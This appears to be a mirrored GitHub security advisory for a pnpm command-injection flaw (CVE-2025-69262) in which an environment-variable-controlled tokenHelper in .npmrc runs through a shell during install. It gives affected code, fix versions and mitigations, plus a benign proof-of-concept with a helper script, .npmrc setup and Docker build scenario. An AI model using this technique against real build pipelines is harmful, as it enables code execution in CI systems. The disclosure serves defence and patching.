pnpm
Affected
- introduced
6.25.0, fixed10.27.0(semver)
Fixed versions
10.27.0
Fix
- Fixed version
10.27.0npm install [email protected]
Advisory
Also known as: CVE-2025-69262
pnpm vulnerable to Command Injection via environment variable substitution
Summary
A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.
Affected Components
@pnpm/config.env-replace and loadToken functionalitypnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() functionpnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitutionTechnical Details
Vulnerability Chain
.npmrc supports ${VAR} syntaxreadLocalConfig()spawnSync(helperPath, { shell: true }).npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
↓
envReplace() → /tmp/evil-helper.sh
↓
loadToken() → spawnSync(..., { shell: true })
↓
RCE achieved
Code Evidence
`pnpm/config/config/src/readLocalConfig.ts:17-18`
key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)
`pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71`
export function loadToken(helperPath: string, settingName: string): string {
if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
}
const spawnResult = spawnSync(helperPath, { shell: true })
// ...
}
Proof of Concept
Prerequisites
PoC Steps
# 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'
#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh
# 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF
# 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh
# 4. Trigger pnpm install
pnpm install # RCE occurs during auth
# 5. Verify attack
cat /tmp/rce-log.txt
PoC Results
==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed
Impact
Severity
Affected Environments
High Risk:
Low Risk:
Attack Scenarios
Scenario 1: CI/CD Supply Chain
Repository → Build Trigger → pnpm install → RCE → Production Deploy
Scenario 2: Docker Build
FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install # RCE
Scenario 3: Kubernetes
Secret Control → Env Variable → .npmrc Substitution → RCE
Mitigation
Temporary Workarounds
Disable tokenHelper:
# .npmrc
# registry.npmjs.org/:tokenHelper=${HELPER_PATH}
Use direct tokens:
//registry.npmjs.org/:_authToken=YOUR_TOKEN
Audit environment variables:
Recommended Fixes
shell: true from loadTokenDisclosure
References
@pnpm/config.env-replace@^3.0.2Credit
Reported by: Jiyong Yang
Contact: [email protected]
High Basis: The source's own band: HIGH
6.25.0, fixed 10.27.0 (semver)10.27.0
10.27.0npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0